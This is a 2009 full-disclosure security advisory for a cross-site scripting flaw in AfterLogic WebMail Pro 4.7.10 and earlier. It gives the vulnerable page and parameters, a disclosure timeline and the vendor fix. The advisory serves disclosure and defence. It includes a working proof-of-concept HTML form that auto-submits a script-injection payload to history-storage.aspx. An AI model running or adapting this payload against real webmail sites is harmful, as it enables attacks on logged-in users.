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[Full-disclosure] Advisory: Cross-Site Scripting flaw in AfterLogic WebMail Pro

Security Advisory : Cross-Site Scripting flaw in AfterLogic WebMail Pro

Description
-------------
AfterLogic WebMail Pro is vulnerable to Cross-Site Scripting, allowing injection
of malicious code in the context of the application.

Overview
-----------
Quote from http://www.afterlogic.com/products/webmail-pro :
"Webmail front-end for your existing POP3/IMAP mail server. Offer your users
the fast AJAX webmail and innovative calendar with sharing. Stay in control
with the admin panel and the developer's API."

Details
--------
Vulnerable Product : AfterLogic WebMail Pro <= 4.7.10
Vulnerability Type : Cross-Site Scripting (XSS)
Affected page : history-storage.aspx
Vulnerable parameters : HistoryKey, HistoryStorageObjectName
Discovered by :
Sébastien Duquette (http://intheknow-security.blogspot.com)
Gardien Virtuel (www.gardienvirtuel.com)
Original Advisory :
http://www.gardienvirtuel.com/fichiers/documents/publications/GVI_2009-01_EN.txt

Timeline
----------
Bug Discovered : September 18th, 2009
Vendor Advised : September 23rd, 2009
Fix made available : September 30th, 2009

Proof of concept
-------------------
The targeted user must be logged in the webmail. This proof of concept was
successfully tested in Firefox 3.5 and Internet Explorer 8.

<html>
<head>
</head>
<body onLoad="document.form1.submit()">
<form name="form1" method="post"
action="http://WEBSITE/history-storage.aspx?param=0.21188772204998574";
onSubmit="return false;">
<input type="hidden" name="HistoryKey" value="value"/>
<input type="hidden" name="HistoryStorageObjectName" value="location;
alert('xss'); //"/>
</form>
</body>
</html>

Solution
---------
The vendor has made available a patched version. Update to AfterLogic
Webmail Pro 4.7.11

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